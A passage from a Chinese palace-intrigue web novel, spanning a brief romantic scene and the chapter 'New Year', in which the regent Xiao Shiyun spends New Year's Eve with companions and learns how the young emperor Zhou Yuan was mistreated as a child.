“筠筠刚到北关的时候,性子冷的跟块冰一样,看谁都是戒备,也不怎么说话。萧时遇觉得她假清高,明知苏筠怕狗,还故意让营犬扑了她一身泥。”
和秦扬异曲同工的恶劣。
“你没管?”
“我揍了萧时遇一顿。不过两人算是结下梁子,此后一直不太对付。”萧时遇略顿了顿,继续道,“再后来我们打北虏,他遇袭被困,筠筠领人绕后烧了粮草,解了围。萧时遇回营后想去道歉,被赶了出来。”
她无奈叹了口气:“他今日约筠筠,估计是还不死心呢。”
楚庭贴着萧时运,有一搭没一搭听着,问:“苏筠不是不待见他吗,怎么忽然答应了?”
“今日是大理寺卿作陪。”萧时运语气听不出来什么情绪,“转过年新帝改元,弘昌时的许多冤情也该翻案了。”
包括苏家的案子。
“听起来,我又要挨骂了。”
楚庭咬了她一口,犬牙磨过皮肤,不怎么用力,却有细碎的痒意。
萧时运由着他闹了一会儿,又听见楚大人叹气:“算了,周秉文活着的时候,我也没少被言官骂。”
她侧身勾了勾他的革带,笑眯眯问:“楚大人伤好全了吗?”
“没什么事了。”楚庭困惑瞥她一眼,“怎么了?”
“开年彻底清算周秉文,楚大人也免不了受些委屈。”勾在衣带的手慢慢上移,指尖轻巧点了点喉结,在楚庭抓她的手腕之前,萧时运勾了他的脖子,笑,“朝堂的戏总归要做,不过私下里,我可以给楚大人一点补偿。”
她凑近他耳边,语气戏谑:“从北辰宫养伤到现在,你也忍了很久吧。”
楚庭被她的动作激得急促喘了一声,闷闷咬住她的肩,耳尖红得心事昭然若揭。艰难忍过半晌,才小声讲。你……你慢一点。
而后便是烛红旖旎。
33. 新年
除夕当日洋洋盖了场雪,放眼望去,皑皑一片霜白衬着朱墙花灯,连带着废帝殁亡的血腥气一并掩下,倒也映出些新春嘉平的澄莹。
腊月廿五时普通官员封印归家,只余位高权重的大人们留值衙署,此时也已放衙。按惯例,宫里原有一场皇帝与各嫔妃宗亲相叙的除夕家宴,只是新帝一无手足二无后妃,最够得上身份赴宴的信王被迫在秋梧阁闭门谢客,而把裕宁宫那些废帝嫔妃叫来也不太像回事,左右能凑在一起的也就他们这些人,萧时运索性免了场面上这些缛节,几人窝在长安宫内的绮梅小筑守岁,还自在些。
绮梅小筑在通光阁南侧,院内假山池亭精巧清雅,间植红白梅数株,眼下已见花苞挂枝。从前周秉文闲暇时,爱在此处传戏听曲,萧时运监国后,裁减了养歌舞乐工的开销,小楼内的戏台便也弃置。
不过几人在廊下围炉煮茶,听积雪折枝有声,倒也颇有闲韵。
宋妙静没来与她们凑热闹,倒去了安置废帝嫔妃的裕宁宫。这段日子她们关系好了不少,从前互相看不顺眼的对头们面对冬日的惊变,难免也生出些相依为命的凄惶,而能在新朝有一席之地的荣宁伯,则更加成了宫嫔们眼中唯一的依仗。是以腊月里宋妙静称病,还有两个小嫔妃期期艾艾求到御前,想去承明宫看看她。
于萧时运而言,宋妙静不来也好,她和周沅的关系总归还是尴尬。
——丽妃娘娘的确按昭惠皇后的嘱托,一直暗中关照冷宫的小公主,但萧时运废了些力气去问话,才知道宋妙静的接济背后,是怎样的代价。
最初是雪雁跪在她面前,卑微的,像奴隶一样伺候她,讨好她。因为做得不好,不得丽妃娘娘欢心,挨了很多骂。
后来冷宫的小公主长大了些,丽妃也厌倦了雪雁的沉默和逆来顺受,跪在她面前的,就变成了周沅。
承明宫的大宫女胆战心惊求饶了许久,才告诉萧时运,那时候宋妙静待周沅,像脾气不好的主人待她的宠物。
宠物。
做宠物的第一要义就是,听话。
所以周沅会温顺跪坐在丽妃腿边,小心翼翼剥好粒粒晶莹的石榴。
如果不小心弄破了一颗,让丽妃看到指尖嫣红的汁水,是要挨骂的。
又或者被悄悄送进承明宫,打扮成胡姬的样子,赤着脚踩在进贡的波斯方毯上,跳舞供丽妃取乐。
这些事情其实羞辱大于折磨。丽妃是透过周沅,磋磨那个活在心底的执念。
无处宣泄的不甘,虚无的报复。
萧时运得知这些事之后又问过一次周沅,为什么不恨宋妙静。
周沅伏在她膝上沉默良久,头顶数值平寂,轻声道:“只要让丽妃开心,天冷时,她会悄悄把我藏到暖和的空房间。”
“冷宫的冬天太难熬了,风从骨头里刺出来,冻得人连呼吸都是疼得。没有她,我活不到现在。”
她抬眼看萧时运,眼底有乞求。字句轻细。
我只是想活下去。
萧时运轻轻覆住周沅的眼睛,长睫划过掌心,沾到湿漉漉的水痕。
她无端想起,前世贤妃被废那日,宋妙静喝了很多酒,在她面前大笑,说,那个贱人罪有应得。她该死。
萧时运原本不想搭理宋妙静,可丽妃娘娘忽然又醉眼惺忪抓着她的手,哭得上气不接下气。
姐姐,你为什么不理我,你是不是怨我,可我真的没想到事情会变成这样,我已经抓到那个死太监的把柄了,就晚了一天……就一天……贤妃怎么下得去手……她怎么敢啊……
宋妙静把她当成了姑姑,话讲的没头没尾,彼时萧家岌岌可危,萧时运也没心情深究。如今再想起来,却有冷风穿过心口的蚀涩。
摄政王问这些旧事,原本是疑心周沅对她的温顺。
从太极殿到现在,哪怕在长安宫听她讲登基后的事宜,周沅也始终恭顺谦谨——这样的词或许不该用来描述一个皇帝,但她似乎很明白自己的处境,对一切没有丝毫异议。
萧时运惊讶于周沅柳絮一样轻盈又毫无破绽的顺从,却也怀疑她是否是曲意逢迎,心怀不轨。
她与宋妙静透了一点疑虑,荣宁伯却支支吾吾,讲,她一直很听话。
摄政王察觉到宋妙静的心虚,于是问了个彻底。
而后萧时运意识到,周沅没有什么忍辱负重的野心。
她只是太小了,又在那样的环境里长大。
恰到好处的示弱与温良,已足够讨好宋妙静,让她活下来。
这是周沅认知里仅有的生存之道。
她只是想活着。
全部的逆来顺受剖在眼前,也只有这一点哀求。
没有人告诉她,她原本不必那样活着。
感叹归感叹,也不妨碍萧时运收拾了宋妙静一顿。
这么欺负一个小孩子,挺过分的。
宋妙静自知理亏,鹌鹑一样缩在地上半晌不敢出声,听着萧时运骂完,老老实实跪去佛堂抄经思过一月,对外只说病了。
还得对着来看她的妃嫔演戏。
陪着去的青枝说,宋妙静与周沅单独待了很久。小姑娘出来时眼睛红红的。
宋妙静与周沅认了错。
即使周沅并不需要这份请罪,也从未恨过她。
但她终究有愧自己的良心。
萧时遇和秦错留在京营值守,自己拿银子张罗了酒肉犒赏不能归家的将士。镇西侯府远在北关,她们这两个在京城的人各司其职,也不好凑在一处。
看前日苏筠回来时的情景,萧时遇言归于好的私心估计是落空了。
活该。
在这种事上,萧时运一向很乐意看兄长热闹。
至于其他的家人,萧时运倒也不是太担心。
腊月头上她收到了母亲的信,说北关一切都好,妹妹在军营也很争气。她们守好西北,来日有人想跟她斗,掂量一下北关的兵马,也得犹豫三分。
这是她在朝堂的底气。
小桃拿了几个芋头煨在炭炉里,又烤了点栗子,说晚些时候当宵夜。秦扬在亭子里又支了个烤炉,正在认真研究铁丝架上的肉有没有熟,终究楚庭看不下去,随手丢了个松子砸他:“再不翻面要糊了。”
秦小将军闻言手忙脚乱拿着铁夹处理,青枝瞥了眼架上的焦糊,幽幽道:“感觉鹿死得挺不值得。”
秦扬蹲在炉边等了一会儿,挑了看起来色泽最好的一块,用小刀割了边缘的迷之焦黑,凑到周沅身边:“皇上尝尝嘛,好吃的。
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照顾周沅的春雨及时拦住他,虽拘谨不太敢说话,却还是用眼神与萧时运求助。
摄政王于是笑了一声:“秦扬,毒害圣上可是诛九族的死罪。”
“哪有这么夸张!”秦扬委屈巴巴收回手,自己咬了一口,顿时僵在原地。
很硬,表面盐壳太厚,即使割掉了碳化的黑边,依然伴随着烟熏火燎的焦苦,在口腔乱撞。
好歹毒的食物。
即使是他自己做的,秦小将军也实在说不出一句能吃。
萧时运看着秦扬的表情,戳了戳身边的苏筠:“宫变那天做内应的,确定是他吗?”
她真的很难把这小子和斩杀一队侍卫开城门的人联系起来。
苏筠看了眼秦扬,神色也是一言难尽:“是……他那时候行动挺利落的。”
没想到私下这么不靠谱。
这边萧时运还在和苏筠嘀咕,楚庭已经忍无可忍,赶走了铁炉前的秦扬,开始拯救余下的大半块生肉。
楚庭上手的时候,秦扬不得不承认,无论火候控制还是调料用量,楚大人都比自己熟练多了。
——但是他刀工好!切得又薄又漂亮!
楚庭:但你烤糊了。蠢货。
肉烤得差不多,楚庭先挑了边角一块塞给秦扬,问:“熟了吗?”
秦小将军两眼放光猛猛点头,含糊道:“好吃!”
楚庭于是拿铁夹把余下几块移到盘子里,对萧时运她们说:“没什么问题了,过来吃吧。”
秦扬:……
秦扬:这么无情的吗?
萧时运尝了一口,意外道:“楚大人手艺的确不错。”
“嗯……”楚庭不自然移开视线,“摄政王喜欢就好。”
几人闹了一会儿,小桃往暖炉里添了几块碳,又拿了些彩纸来,说剪窗花。
萧时运和苏筠都不太会,只随意剪了个应景,便在旁边剥栗子吃,有一搭没一搭聊着明日百官朝贺的安排。周沅忽然拿了张红纸凑过来,抿唇笑道:“春雨剪的,姐姐看像不像我。”
几人闻言看向她手里的小像。
……说实话,不能说一模一样,只能说毫无关系。
是如果找个红梅树挂上去,把后宫翻过来也找不到人的程度。
“你看。”周沅看着萧时运的表情,轻轻戳了一下她的侍女,笑得眉眼弯弯,“摄政王都觉得不像。”
春雨怯怯看了看她,不好意思笑道:“那……奴婢再剪一个。”
萧时运跟着笑了一会儿,道:“把饺子端来吧,快到时辰了。”
子时的烟火照亮天幕,一瞬火树银花,星河璀灿。今日五城兵马司在各城门搭了烟火架,百姓也在街市设架张灯点花炮,于是满城萧鼓喧闹,共祝天地风霜尽,百事都如意。
愿保兹善,千载为常。
欢笑尽娱,乐哉未央。*
萧时运把袖里的盒子递给周沅,轻声讲:“新年快乐。”
小姑娘正看着烟花出神,侧身时愣了一下,随即笑起来:“谢谢姐姐。”
是个平安扣。
她希望有一条路,能让她们都如愿以偿,平安顺遂。
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出自曹植《正会诗》。